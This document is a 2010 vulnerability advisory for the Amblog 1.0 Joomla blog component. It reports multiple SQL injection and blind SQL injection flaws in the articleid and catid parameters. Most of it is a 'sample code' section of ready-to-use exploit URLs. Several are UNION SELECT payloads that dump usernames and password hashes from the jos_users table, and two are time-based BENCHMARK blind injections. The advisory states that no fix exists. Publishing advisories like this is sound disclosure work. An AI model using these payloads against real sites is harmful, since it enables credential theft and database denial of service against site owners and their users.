Amblog 1.0 Joomla Component Multiple SQL Injection Vulnerabilities

 Name              Amblog
 Vendor            http://robitbt.hu
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-08-10

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX


I. ABOUT THE APPLICATION
________________________

Amblog is a simple blog engine for Joomla CMS.


II. DESCRIPTION
_______________

Some parameters are not properly  sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 B) Multiple Blind SQL Injection


A) Multiple SQL Injection
_________________________

Some  parameters,  such as articleid and catid, are  not
properly sanitised before being used in SQL queries.This
can  be exploited to manipulate SQL queries by injecting
arbitrary SQL code.


B) Multiple Blind SQL Injection
_________________________

The articleid parameter is not properly sanitised before
being  used  in  SQL  queries.  This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

http://site/path/index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version

http://site/path/index.php?option=com_amblog&task=article&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=newform&catid=-1 UNION SELECT 1,CONCAT(username,0x3a,password) FROM jos_users

http://site/path/index.php?option=com_amblog&task=editform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=editcommentform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=savenewcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=saveeditcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users


B) Multiple Blind SQL Injection

http://site/path/index.php?option=com_amblog&task=editsave&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))

http://site/path/index.php?option=com_amblog&task=delete&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))


V. FIX
______

No fix.